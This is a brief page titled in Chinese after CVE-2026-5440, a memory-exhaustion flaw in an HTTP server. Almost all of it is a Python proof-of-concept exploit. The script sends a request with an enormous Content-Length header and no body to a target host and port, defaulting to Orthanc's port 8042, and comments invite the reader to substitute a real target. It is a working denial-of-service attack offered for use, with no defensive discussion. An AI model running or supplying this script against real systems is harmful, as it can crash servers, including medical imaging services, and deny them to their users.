CVE-2026-5440 HTTP服务器内存耗尽漏洞

import socket def exploit_poc(host, port): # Create a malicious HTTP request with a huge Content-Length header # The server allocates memory based on this value without sending the body. payload = """GET / HTTP/1.1 Host: {} Content-Length: 999999999999 """.format(host) try: print("[+] Sending malicious request to {}: {}".format(host, port)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((host, port)) s.send(payload.encode()) print("[+] Request sent. Check if the server has crashed.") s.close() except Exception as e: print("[-] Error: {}".format(e)) if __name__ == "__main__": target_ip = "127.0.0.1" # Replace with target IP target_port = 8042 # Replace with target port (Orthanc default is 8042) exploit_poc(target_ip, target_port)